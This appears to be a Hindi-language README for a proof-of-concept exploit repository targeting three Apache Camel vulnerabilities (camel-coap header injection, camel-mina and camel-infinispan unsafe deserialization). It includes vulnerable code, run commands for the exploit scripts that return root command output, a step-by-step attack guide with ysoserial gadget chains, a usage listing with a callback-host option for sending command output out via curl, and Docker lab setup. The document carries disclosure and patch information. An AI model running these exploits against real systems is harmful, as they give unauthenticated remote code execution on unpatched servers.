
तीन गंभीर Apache Camel कमजोरियों के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और विस्तृत विश्लेषण प्रदान करता है, जिसमें CoAP हेडर इंजेक्शन और असुरक्षित डिसीरियलाइज़ेशन शामिल हैं, जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाते हैं।
| CVE | घटक | प्रकार | CVSS | निर्णय |
|---|
| CVE-2026-33453 | camel-coap | हेडर इंजेक्शन → RCE | 10.0 क्रिटिकल | शोषण योग्य |
| CVE-2026-40473 | camel-mina | असुरक्षित डिसीरियलाइज़ेशन → RCE | 9.8 क्रिटिकल | शोषण योग्य |
| CVE-2026-40858 | camel-infinispan | असुरक्षित डिसीरियलाइज़ेशन | 8.8 उच्च | शोषण योग्य |
घटक: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (ऑब्जेक्ट विशेषताओं का अनुचित रूप से नियंत्रित संशोधन)
इसमें ठीक किया गया: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() CoAP URI क्वेरी पैरामीटर को सीधे Camel Exchange हेडर में setHeader() के माध्यम से मैप करता है, बिना किसी HeaderFilterStrategy के। CoAPEndpoint DefaultEndpoint का विस्तार करता है, न कि DefaultHeaderFilterStrategyEndpoint का, इसलिए आंतरिक Camel*-उपसर्ग वाले हेडर किसी भी अप्रमाणित क्लाइंट द्वारा इंजेक्ट किए जा सकते हैं।
जब रूट camel-exec पर अग्रेषित होता है, तो हमलावर-नियंत्रित CamelExecCommandExecutable और CamelExecCommandArgs हेडर कॉन्फ़िगर किए गए कमांड को ओवरराइड कर देते हैं, जिससे एकल UDP पैकेट के माध्यम से प्री-ऑथेंटिकेटेड RCE प्राप्त होता है।
// CamelCoapResource.java:103-109 — कोई HeaderFilterStrategy नहीं
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] प्रतिक्रिया: 2.05
[+] कमांड आउटपुट: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] कमांड आउटपुट: app bin boot dev etc home lib ...
घटक: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (अविश्वसनीय डेटा का डिसीरियलाइज़ेशन)
इसमें ठीक किया गया: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) बिना किसी ObjectInputFilter के एक कच्चा java.io.ObjectInputStream बनाता है। जब एक MINA एंडपॉइंट allowDefaultCodec=false के साथ कॉन्फ़िगर किया जाता है, तो कच्चा TCP डेटा IoBuffer के रूप में आता है और Camel के टाइप कनवर्टर तक पहुँचता है, जो इस विधि को कॉल करता है — हमलावर-नियंत्रित नेटवर्क बाइट्स को बिना फ़िल्टर किए ObjectInputStream में लपेटता है।
// MinaConverter.java:60-63 — कोई ObjectInputFilter नहीं
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // हमलावर-नियंत्रित बाइट्स, कोई फ़िल्टर नहीं
}
हमले का मार्ग: एक्सप्लॉइट allowDefaultCodec=false (PoC में पोर्ट 9879) के साथ MINA TCP एंडपॉइंट को लक्षित करता है। यह MINA के कोडेक परत को पूरी तरह से बायपास करता है — ObjectSerializationCodecFactory की अपनी ClassNameMatcher अनुमति सूची होती है जो अन्यथा मनमाने क्लास को ब्लॉक कर देती। कोडेक अक्षम होने पर, कच्चे बाइट्स सीधे MinaConverter.toObjectInput() तक पहुँचते हैं जो शून्य क्लास फ़िल्टरिंग के साथ एक मानक ObjectInputStream बनाता है।
एक CommonsCollections6 गैजेट श्रृंखला (ysoserial के माध्यम से) रूट के रूप में मनमाना कमांड निष्पादन प्राप्त करती है। कमांड आउटपुट हमलावर को curl कॉलबैक के माध्यम से बाहर निकाला जाता है।

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] कमांड आउटपुट:
uid=0(root) gid=0(root) groups=0(root)
[+] पुष्टि: CVE-2026-40473 RCE — डिसीरियलाइज़ेशन के माध्यम से कमांड निष्पादित किया गया
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] कमांड आउटपुट:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (CommonsCollections6 गैजेट)cd poc/
docker compose up -d --build
कंटेनर शुरू होने की प्रतीक्षा करें, फिर सत्यापित करें:
docker logs vuln-camel-mina
आपको यह देखना चाहिए:

[*] कमजोर MINA सर्वर प्रारंभ हुआ
[*] पोर्ट 9877: transferExchange (Java deser) एंडपॉइंट
[*] पोर्ट 9878: ऑब्जेक्ट सीरियलाइज़ेशन कोडेक एंडपॉइंट
[*] पोर्ट 9879: कच्चा TCP (MinaConverter.toObjectInput) एंडपॉइंट
[*] कनेक्शन की प्रतीक्षा...
पोर्ट 9879 लक्ष्य है — यह allowDefaultCodec=false का उपयोग करता है, जो MINA के कोडेक फ़िल्टर को अक्षम करता है और कच्चे IoBuffer को Camel के बिना फ़िल्टर किए MinaConverter.toObjectInput() तक पहुँचने देता है।
पहले, सत्यापित करें कि एंडपॉइंट बिना किसी ObjectInputFilter के मनमाने Java ऑब्जेक्ट स्वीकार और डिसीरियलाइज़ करता है:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] प्रोब मोड — डिसीरियलाइज़ेशन की पुष्टि (कोई RCE नहीं)
[*] पेलोड: HashMap (82 बाइट्स, कच्चा — कोई MINA फ्रेम नहीं)
[+] MINA एंडपॉइंट से कनेक्ट हुआ
[+] पेलोड भेजा गया
[+] डेटा बिना फ़िल्टर अस्वीकृति के readObject() तक पहुँचा
प्रोब एक सीरियलाइज़्ड HashMap भेजता है। सर्वर इसे ObjectInputStream.readObject() के माध्यम से बिना किसी InvalidClassException के डिसीरियलाइज़ करता है — शून्य क्लास फ़िल्टरिंग की पुष्टि करता है।
ysoserial उपलब्ध होने पर, मनमाने कमांड निष्पादन के लिए बिना फ़िल्टर किए डिसीरियलाइज़ेशन का शोषण करें:
# 'id' निष्पादित करें — uid=0(root) लौटाता है
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# फ़ाइलें पढ़ें
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# सिस्टम जानकारी
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
एक्सप्लॉइट एक CommonsCollections6 गैजेट श्रृंखला उत्पन्न करता है, इसे पोर्ट 9879 पर कच्चे बाइट्स के रूप में भेजता है, और curl कॉलबैक श्रोता के माध्यम से कमांड आउटपुट कैप्चर करता है।
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target लक्ष्य IP/होस्टनाम
port MINA TCP पोर्ट (डिफ़ॉल्ट: 9879)
command निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id)
--ysoserial ysoserial.jar का पथ (सेट न होने पर स्वतः पता लगाया जाता है)
--callback-host वह होस्ट जिसे कंटेनर आप तक पहुँचने के लिए उपयोग करता है (डिफ़ॉल्ट: host.docker.internal)
--gadget ysoserial गैजेट श्रृंखला (डिफ़ॉल्ट: स्वतः — CC6, CC5, CC1 आज़माता है)
--probe केवल प्रोब मोड — RCE के बिना डिसीरियलाइज़ेशन की पुष्टि करें
--raw MINA 4-बाइट फ्रेम के बिना कच्चा पेलोड भेजें (पोर्ट 9879 के लिए स्वतः सक्षम)
नोट: --callback-host डिफ़ॉल्ट रूप से host.docker.internal (Docker Desktop) पर सेट होता है। यदि Docker Desktop के बिना Linux पर चल रहे हैं, तो --callback-host 172.17.0.1 या अपना Docker ब्रिज IP उपयोग करें।
cd poc/
docker compose down
घटक: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (अविश्वसनीय डेटा का डिसीरियलाइज़ेशन)
इसमें ठीक किया गया: Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) बिना किसी ObjectInputFilter के एक ClassLoadingAwareObjectInputStream बनाता है। DefaultExchangeHolderProtoAdapter Infinispan कैश बाइट्स को सीधे इस विधि में रूट करता है। कैश लेखन पहुँच (Hot Rod पोर्ट 11222 या REST API) वाला हमलावर एक दुर्भावनापूर्ण सीरियलाइज़्ड पेलोड इंजेक्ट करता है जो तब डिसीरियलाइज़ होता है जब एग्रीगेशन रिपॉज़िटरी कुंजी प्राप्त करती है।
यह CVE-2024-22369, CVE-2024-23114, और CVE-2026-25747 के समान कमजोरी पैटर्न है — Camel के डिसीरियलाइज़ेशन पथों में ObjectInputFilter के बिना readObject() के सभी अनफिक्स्ड उदाहरण।
// DefaultExchangeHolderUtils.java:46-53 — कोई ObjectInputFilter नहीं
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // हमलावर-नियंत्रित
}
}


cd poc/
docker compose up -d --build
यह प्रारंभ करता है:
vuln-camel-coap — UDP पोर्ट 5683 पर CoAP एंडपॉइंट, camel-exec रूट के साथvuln-camel-mina — पोर्ट 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory), और 9879 (कच्चा TCP — प्राथमिक हमला लक्ष्य) पर MINA TCP एंडपॉइंटinfinispan — पोर्ट 11222 पर Infinispan सर्वरvuln-camel-infinispan — Infinispan द्वारा समर्थित Camel एग्रीगेशन रिपॉज़िटरी# CVE-2026-33453: CoAP हेडर इंजेक्शन → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: MINA असुरक्षित डिसीरियलाइज़ेशन → RCE (विस्तृत निर्देश ऊपर देखें)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Infinispan असुरक्षित डिसीरियलाइज़ेशन
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
यह मूल्यांकन RAPTOR स्वायत्त सुरक्षा अनुसंधान फ्रेमवर्क का उपयोग करके किया गया था:
camel-coap, camel-mina, camel-infinispan)/scan) — सभी 3 घटकों में स्वचालित कमजोरी खोज/understand --map) — हमले की सतह मैपिंग: प्रवेश बिंदु, विश्वास सीमाएँ, सिंक, अनियंत्रित डेटा प्रवाह/validate) — पूर्ण 8-चरण शोषण क्षमता सत्यापन पाइपलाइन (चरण 0 → A → B → C → D → E → F → 1) सभी 3 निष्कर्षों की पुष्टि करता है कि वे वास्तविक, पहुँच योग्य और शोषण योग्य हैं/exploit) — Docker-आधारित परीक्षण वातावरण के साथ कार्यशील PoC विकास| CVE | फिक्स संस्करण | परिवर्तन |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → DefaultHeaderFilterStrategyEndpoint का विस्तार करता है; CoAPComponent → HeaderFilterStrategyComponent लागू करता है |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | readObject() से पहले ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") जोड़ा गया |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | ObjectInputFilter अनुमति सूची जोड़ी गई (समान पैटर्न); कॉन्फ़िगर होने पर JVM सीरियल फ़िल्टर पर वापस आता है |
यह शोध केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। सभी एक्सप्लॉइट्स को कमजोर सॉफ़्टवेयर चलाने वाले स्थानीय रूप से निर्मित Docker कंटेनरों के विरुद्ध परीक्षण किया गया था। ऊपर सूचीबद्ध फिक्स संस्करणों में अपग्रेड करें।